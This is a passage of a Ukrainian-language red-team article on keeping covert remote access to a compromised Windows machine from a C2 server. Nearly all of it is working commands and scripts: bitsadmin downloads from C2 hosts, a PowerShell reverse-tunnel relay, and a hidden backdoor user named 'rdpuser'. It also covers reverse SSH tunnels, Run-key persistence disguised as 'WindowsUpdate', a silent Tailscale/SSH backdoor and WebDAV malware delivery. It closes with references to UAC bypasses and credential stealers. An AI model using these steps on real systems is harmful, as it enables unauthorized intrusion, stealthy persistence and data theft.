І доставляємо його на клієнтську машину:

  • bitsadmin /transfer t /download /priority high https://c2-example.com/tunnel.ps1 C:\Users\%USERNAME%\tunnel.ps1

Рекомендую на сервері заздалегідь відкрити необхідні порти, щоби не заблокувались вхідні з’єднання з клієнтської машини. Наприклад:

  • netsh advfirewall firewall add rule name="Relay" protocol=TCP dir=in localport=XXXX action=allow

На сервері запустити TightViewer:

  • tvnviewer.exe -listen
  • netstat -an | findstr 5500 – повинен бути статус LISTENING.

На сервері створити файл-релай relay.ps1, який буде приймати зворотне з’єднання:

$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, <c2-port>)
$listener.Start()
Write-Host "Waiting for tunnel..."
$t = $listener.AcceptTcpClient()
Write-Host "Tunnel connected!"
$v = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 5500)
$ts = $t.GetStream()
$vs = $v.GetStream()
$b1 = New-Object byte[] 65536
$b2 = New-Object byte[] 65536
while ($t.Connected) {
  if ($ts.DataAvailable) { $n = $ts.Read($b1, 0, $b1.Length); $vs.Write($b1, 0, $n); $vs.Flush() }
  if ($vs.DataAvailable) { $n = $vs.Read($b2, 0, $b2.Length); $ts.Write($b2, 0, $n); $ts.Flush() }
  Start-Sleep -Milliseconds 1
}

Запустити його на сервері:

  • powershell -ExecutionPolicy Bypass -File relay.ps1

Тепер запустити на віддаленій машині через cmd (shell) запустити tunnel.ps1:

  • start powershell -ExecutionPolicy Bypass -File C:\Users\%USERNAME%\tunnel.ps1

Після цього на сервері автоматично відкриється вікно з TightVNC Viewer з цільовою системою:

Увага: На системах з активним Windows Firewall і обмеженими правами доступу може спрацювати захист UAC (User Access Control). Поки користувач не схвалить запит, з’єднання не відбудеться. Але це одноразова дія. Після натискання “Allow access” правило зберігається назавжди. При наступних запусках tvnserver зв’яжеться автоматично.

RDP over SSH Reverse Tunnel

Ця техніка дуже часто застосовується як в адмініструванні, так і в тестуваннях на проникнення. Скориставшись нею, отримаємо стабільний доступ до віддаленого робочого столу по протоколу RDP з допомогою SSH-тунеля.

Розгортаємо RDP-сервер

Перевіряємо чи RDP працює на віддаленій машині:

  • reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections – якщо 0x1 – вимкнено, 0x0 – включено.

Якщо вимкнено, тоді запускаємо і налаштовуємо RDP на віддаленій машині:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
net stop TermService /y
net start TermService
sc query TermService

або через PowerShell + скрипт enable_rdp.bat:

@echo off
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
net stop TermService /y
net start TermService
sc query TermService
pause
  • bitsadmin /transfer dl5 /download /priority high https://c2-server.com/enable_rdp.bat "%USERPROFILE%\enable_rdp.bat"
  • powershell -ep bypass – перейти в оболонку PowerShell без обриву поточної сесії CMD;
  • Start-Process -FilePath "enable_rdp.bat" -Verb runAs – запустити виконання файлу від імені адміністратора (потребує схвалення запиту UAC збоку користувача)

Створюємо нового користувача RDP на віддаленій машині:

net user rdpuser Password123 /add
net localgroup "Remote Desktop Users" rdpuser /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rdpuser /t REG_DWORD /d 0 /f

або через PowerShell + скрипт create_user.bat:

@echo off
net user rdpuser Password123 /add
net localgroup "Remote Desktop Users" rdpuser /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v rdpuser /t REG_DWORD /d 0 /f
pause
  • bitsadmin /transfer dl5 /download /priority high https://c2-server.com/create_user.bat "%USERPROFILE%\create_user.bat"
  • powershell -ep bypass – перейти в оболонку PowerShell без обриву поточної сесії CMD;
  • Start-Process -FilePath "create_user.bat" -Verb runAs – запустити виконання файлу від імені адміністратора (потребує схвалення запиту UAC збоку користувача);
  • net user – перевірити чи новий користувач з’явився в переліку.

Встановлюємо RDPWrapper для мультисесій RDP:

cd C:\
mkdir C:\rdpwrap
bitsadmin /transfer dl44 /download /priority high https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip "C:\RDPWrap\rdpwrap.zip"
powershell -c "Expand-Archive rdpwrap.zip -DestinationPath C:\rdpwrap"
bitsadmin /transfer dl45 /download /priority high https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini "C:\rdpwrap\rdpwrap.ini" 
C:\rdpwrap\install.bat
copy /y C:\rdpwrap\rdpwrap.ini "C:\Program Files\RDP Wrapper\rdpwrap.ini"
net stop TermService /y
net start TermService

Розгортаємо SSH-сервер

На цільовій системі генеруємо ключі SSH:

where /r C:\ ssh-keygen.exe
C:\path\to\ssh-keygen.exe -t rsa -f %USERPROFILE%\.ssh\pubkey -N ""
type %USERPROFILE%\.ssh\pubkey.pub

Виставляємо права доступу для публічного ключа:

icacls "%USERPROFILE%\.ssh\pubkey.pub" /reset
icacls "%USERPROFILE%\.ssh\pubkey.pub" /inheritance:r /grant:r "%USERNAME%:F"
icacls "%USERPROFILE%\.ssh\pubkey.pub"

На С2-сервері:

встановлюємо Bitvise SSH Server. Вказуємо у налаштуваннях публічний порт SSH (можна використати нестандартний порт VPN, якщо є підтримка port forwarding і вказати його у налаштуваннях замість 22 порта). Додаємо назву облікового запису хост-машини до якої буде підключатися вдідалена – у налаштуваннях Virtual User. Там же імпортуємо публічний SSH-ключ клієнтської машини.

Перевіряємо чи сервер слухає порт SSH: netstat -an | findstr XXXX

Тепер тестуємо SSH-з’єднання з цільової системи:

  • where /r C:\ ssh.exe – шукаємо де розташований виконуваний файл SSH.
  • C:\path\to\ssh.exe -i "C:\Users\admin\.ssh\privatekey" -p <ssh_public_port_с2> <username_с2>@<ip_address_public_с2> -o StrictHostKeyChecking=no – запускаємо SSH-з’єднання з сервером.

Підказка: якщо виникає проблема з виконанням ssh.exe (наприклад, через обмежений доступ до папок), то можна перекопіювати його в домашню папку користувача і запускати звідти: copy C:\Windows\WinSxS\amd64_openssh-client-components-onecore_31bf3856ad364e35_10.0.19041.5737_none_7489f024d1fb1b76\ssh.exe C:\Users\username\ssh.exe, C:\Users\username\ssh.exe -V

При успішному підключенні в Bitvise одразу ж з’явиться випадаюче вікно з новим сеансом:

Перевірити статус з’єднання і керувати ним можна у Bitvise SSH Server на вкладці “Connections”. Якщо натиснути правою кнопкою миші по ньому і обрати з випадаючого меню “Disconnect connection” – з’єднання закриється. Можна також натиснути “Block orogonating address”, що заблокує IP-адресу клієнта і внесе її у чорний список.

Підключаємося по RDP через Reverse SSH Tunnel

На віддаленій системі:

  • C:\path\to\ssh.exe -N -R 13389:127.0.0.1:3389 <username_c2>@<ip_c2> -i "C:\Users\admin\.ssh\privatekey" -p <ssh_port_c2> -o StrictHostKeyChecking=no

На хост-системі підключаємося по RDP, виконавши: mstsc. З’явиться з додатком для підключення до віддаленого робочого столу Windows. Вказуємо адресу: 127.0.0.1:13389 і підключаємося. Або однією командою: mstsc /v:localhost:13389.

Потрібно буде ввести логін і пароль користувача віддаленої системи (якого було створено на попередньому етапі), після чого схвалити сертифікат:

Тепер завдяки RDPWrapper, ми можемо працювати в системі одночасно у двох різних облікових записах. Без RDPWrapper у Windows не підтримуються одночасні сесії (один користувач змушений буде розлогінитися, щоб зайшов інший).

Як зробити аналогічний тунелінг на Linux С2?

Розгорнути SSH-сервер на Linux:

sudo pacman -S openssh
sudo nano /etc/ssh/sshd_config #змінити порт 22 на публічний порт.
sudo systemctl restart sshd #перезавантажитись.
sudo netstat -tlnp | grep ssh #перевірити чи сервіс слухає на відповідному порту.
(sudo systemctl enable --now sshd #за бажанням додати в автозавантаження)

З цільової системи просто підключитися до сервера:

C:\path\to\ssh.exe -N -R 3389:127.0.0.1:3389 c2_login@c2_ip -i "%USERPROFILE%\.ssh\pubkey" -p 65331 -o StrictHostKeyChecking=no

Примітка: ключі вже мають бути налаштовані. Послідовність така:

вставити публічний ключ з цільової системи в ~/.ssh/authorized_keys на сервері
виставити права - chmod 600 ~/.ssh/authorized_keys
перевірити - cat ~/.ssh/authorized_keys
виставити PubkeyAuthentication yes і PasswordAuthentification no в файл конфігурації на сервері.

На С2-сервері підключаємося в Remmina 127.0.0.1:3389, вказавши логін та пароль користувача цільової системи.

Якщо з’єднання не встановлюється, варто перевірити тип і PID процесів, які займають порт на сервері: sudo lsof -i :XXXX. Обірвати sudo kill -9 <pid> та спробувати підключитись знову.

Додаємо RDP-тунель в автозавантаження

Створюємо скрипт: rdp_tunnel.bat:

cd C:\Users\Admin
echo @echo off > rdp_tunnel.bat
echo :loop >> rdp_tunnel.bat
echo "C:\Windows\WinSxS\amd64_openssh-client-components-onecore_31bf3856ad364e35_10.0.19041.3570_none_74a42cd0d1e69b3b\ssh.exe" -N -R 13389:127.0.0.1:3389 username@X.X.X.X -i "C:\Users\admin\.ssh\pubkey" -p XXXXX -o StrictHostKeyChecking=no >> rdp_tunnel.bat
echo timeout /t 5 >> rdp_tunnel.bat
echo goto loop >> rdp_tunnel.bat

Додаємо в автозавантаження:

  • reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\rdp_tunnel.bat" /f

Запускаємо:

  • start /B rdp_tunnel.bat

Tailscale + OpenSSH

Суть методу – об’єднати обидва пристрої – і цільовий, і атакуючий – в одній мережі Tailscale, що дозволить комп’ютерами під’єднюватись через інтернет один до одного. У даному випадку, ми налаштовуємо з’єднання по протоколу SSH з допомогою ключа.

Встановлення OpenSSH (Powershell):

Get-WindowsCapability -Online | ? Name -like 'OpenSSH.Server*' # перевіряємо, чи встановлений OpenSSH
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0  # встановлюємо OpenSSH
Start-Service sshd
Get-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
schtasks /create /tn "StartSSHD" /tr "sc start sshd" /sc onstart /ru SYSTEM /rl highest /f

Встановлення вручну для Windows 11 (Powershell):

Invoke-WebRequest -Uri "https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi" -OutFile "$env:TEMP\openssh.msi"
Start-Process msiexec.exe -ArgumentList "/i `"$env:TEMP\openssh.msi`" /qn" -Wait
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'

Дозволяємо в браундмауері з’єднання по SSH порту (Poweshell):

  • New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

Встановлення Tailscale на цільовій системі (Powershell):

Invoke-WebRequest -Uri "https://pkgs.tailscale.com/stable/tailscale-setup-latest.exe" -OutFile "$env:TEMP\tailscale.exe"
Start-Process "$env:TEMP\tailscale.exe" -ArgumentList "/S" -Wait
Start-Service Tailscale

Можна також встановити Tailscale через службу winget:

  • winget install --id=Tailscale.Tailscale -e --silent

Вилучаємо вікно Tailscale GUI з автозапуску:

  • PS> Remove-Item "$env:PROGRAMDATA\Microsoft\Windows\Start Menu\Programs\Startup\Tailscale.lnk" -Force

Тепер встановлюємо Tailscale на С2-сервері, попередньо зареєструвавши обліковий запис.

Перейти у налаштування Settings -> Keys і згенерувати Auth Key.

На цільовій системі консолі CMD (в новій сесії) виконати:

  • tailscale up --auth-key tskey-auth-xxxxxxx
  • tailscale ip -4 – перевірити IP-адресу.

У висновку, два пристрої будуть під’єднані до однієї Tailscale мережі. Тепер зможемо підключитися з одного до іншого:

  • ssh <username>@x.x.x.x.x – вказуємо ім’я облікового запису (whoami) та IP-адресу в мережі Tailscale.

Однак, рекомендується попередньо згенерувати SSH-ключі доступу і підключатися з допомогою публічного ключа:

  • ssh-keygen -t ed25519 -f "%USERPROFILE%\.ssh\id_ed25519" -N "" – генеруємо ключі на С2-сервері.
  • PS> Get-Content "$env:USERPROFILE\.ssh\id_ed25519.pub" – вивести вміст публічного ключа.

Тепер потрібно додати публічний ключ SSH на цільову систему і налаштувати конфігурацію служби sshd:

New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.ssh"
Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value "xxxxxxxxxxxxxxxxx"
icacls "$env:USERPROFILE\.ssh\authorized_keys" /inheritance:r /grant "${env:USERNAME}:(F)"
icacls "$env:USERPROFILE\.ssh"
(Get-Content "$env:ProgramData\ssh\sshd_config") -replace '#PubkeyAuthentication yes', 'PubkeyAuthentication yes' | Set-Content "$env:ProgramData\ssh\sshd_config"
(Get-Content "$env:ProgramData\ssh\sshd_config") -replace '#PasswordAuthentication yes', 'PasswordAuthentication no' | Set-Content "$env:ProgramData\ssh\sshd_config"

Якщо обліковий запис користувача на цільовій системі є Адміністратором, то додатково:

Copy-Item "$env:USERPROFILE\.ssh\authorized_keys" "$env:ProgramData\ssh\administrators_authorized_keys" -Force
icacls "$env:ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "SYSTEM:(F)" /grant "BUILTIN\Administrators:(F)"

Примітка:

У Windows OpenSSH працює за таким принципом:

Якщо користувач — адміністратор, SSH шукає ключі тільки в C:\ProgramData\ssh\administrators_authorized_keys. Файл .ssh\authorized_keys у профілі ігнорується для адмінів.
Якщо користувач — звичайний (не адмін), SSH шукає ключі у %USERPROFILE%\.ssh\authorized_keys.

WebDAV tunneling

Суть цього методу полягає у тому, аби підключити папку на C2-сервері як мережевий ресурс на цільовій системі.

Це можна зробити з допомогою додатків RClone і Cloudflared.

Запустити на сервері:

  • rclone serve webdav /path/to/ --addr :xxxx – розгортаємо WebDAV-сервер.
  • ./cloudflared tunnel --url http://localhost:xxxx – портуємо WebDAV порт через Cloudflare Tunnel в відкритий інтернет.

На цільовій системі:

Створити файл з розширенням .url з наступним змістом:

[InternetShortcut]
URL=\\xxxxxxxxxxxxxxx.trycloudflare.com@SSL\DavWWWRoot\

Відкрити URL-файл і папка з віддаленого сервера одразу відкриється на цільовій системі у штатному провіднику Windows (Explorer).

Даний спосіб дозволяє швидко доставляти будь-які файли на цільовий комп’ютер, зокрема ШПЗ. Його часто застосовують у фішингових операціях з елементами маскування фвйлів. Також ідеально в віддаленому адмініструванні систем.

Джерела та посилання

  1. GitHub. Лайфхаки китайського пентестера 3gstudent
  2. GitHub. Awesome Injection.
  3. GitHub. PrivescCheck.
  4. GitHub. WinPEAS.ps1
  5. Cyber Anarchy Squad Techniques
  6. Rutracker. Windows 10.
  7. 3gstudent. Аналіз експлуатації обходу UAC шляхом моделювання довіреного каталогу
  8. 3gstudent. Нотатки щодо використання SilentCleanup для обходу UAC
  9. 3gstudent. Використання CLR для обходу UAC
  10. 3gstudent. Обхід UAC за допомогою COM-компонента IARPUninstallStringLauncher
  11. 3gstudent. Аналіз експлуатації Invoke-WScriptBypassUAC в Empire
  12. 3gstudent. Study Notes of using sdclt.exe to bypass UAC
  13. 3gstudent. Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)
  14. Hackingarticles. Windows for pentester Certutil
  15. GitHub. Lazagne – Credentials recovery project
  16. SharpChrome – Chromium-based browser credential exctraction 
  17. GitHub. HackBrowserData
  18. Sekurak. Небезпечна атака соціальної інженерії з використанням відомого програмного забезпечення CPUID
  19. GitHub. CPU-Z 2.19 Supply Chain Attack – Malware Analysis Report
  20. Sekurak. Вразливість нульового дня в Adobe Reader: просто відкрийте заражений PDF-файл, щоб отримати контроль над своєю системою
  21. GitHub. Adobe Reader Zero-Day — Full Attack Chain Analysis
  22. Gmail. File Types Blocked.
  23. CYDERES. BlueHammer: Inside the Windows Zero-Day That Turns Defender Against Itself
  24. GitHub. Nightmare Eclipse.
  25. HUNTRESS. Nightmare-Eclipse Tooling Moves From Public PoC to Real-World Intrusion
  26. HUNTRESS. From Custom Scripts to Commodity RATs: A Threat Actor’s Evolution to PureRAT
  27. BARRACUDA. Nightmare-Eclipse: six zero-days, six weeks and one big grudge
  28. Qualys. Don’t Wait for a Patch. Mitigate RedSun Zero-Day Risk in Microsoft Defender Today 
  29. Deadclipse Binaries
  30. Nightmare Eclipse Onion Mirror
  31. Church of Malware
  32. Github. SNEK Blue War Hammer – Vulnerability Documentation & Reimplementation – SNEK Blue War Hammer
  33. Github. Defendnot
  34. GitHub. Windows UAC Bypass.
  35. 0x12 Dark Development. Eventvwr.exe UAC Bypass via mscfile
  36. Medium. Ghost Escalation: Bypassing UAC for Covert Post-Exploitation
  37. Medium. Windows Fonts Exploitation in 2025 — Bypassing UAC with Eudcedit
  38. Fluffy Wolf Attack Chain
  39. LOLBAS Project
  40. gbhackers. PureRAT Hides PE Payloads in PNGs for Fileless Execution
  41. Medium. How to Analyze Windows Executable Files Using PEStudio?
  42. Red Team Notes
  43. Anonymous Repos (Onion)
  44. Project NightCrawler Blog
  45. Project NightCrawler Repo
  46. ChurchOfMalware Git
  47. NightMare Eclipse Blogspot
  48. Cato CTRL™ Threat Research: Operation Poisson – Analyzing a Cybercriminal’s Entire Operation
  49. Junior Hacker Used Tailscale and OpenSSH to Keep Access After His C2 Went Offline
  50. GitHub. Havoc.
  51. Microsoft. Powershell F.A.Q.
  52. Github. Awesome Malware Persistence.
  53. Andrea Fortuna. Malware persistence techniques
  54. Pentestlab. Persistence – Image File Execution Options Injection
  55. Muhammad Hassoub. Purple Team Series | #1 — Image File Execution Options Injection (T1546.012)
  56. MSFVenom CheatSheet
  57. GitHub. Priv2Admin
  58. GitHub. RogueWinRM
  59. GitHub. PayloadAllTheThings. Windows Privilege Escalation.
  60. Potatoes – Windows Privilege Escalation
  61. Windows Weakness Presentation
  62. Establishing Registry Persistence via SQL Server with PowerUpSQL
  63. GitHub. PowerSploit
  64. GitHub. PowerView.ps1 recon script
  65. Windows Doc. Approved Verbs for Powershell Commands
  66. Windows Doc. Powershell comparsion operators.

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, аналітик, дослідник в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
У користувачів Windows періодично виникає потреба перейти в захищений режим…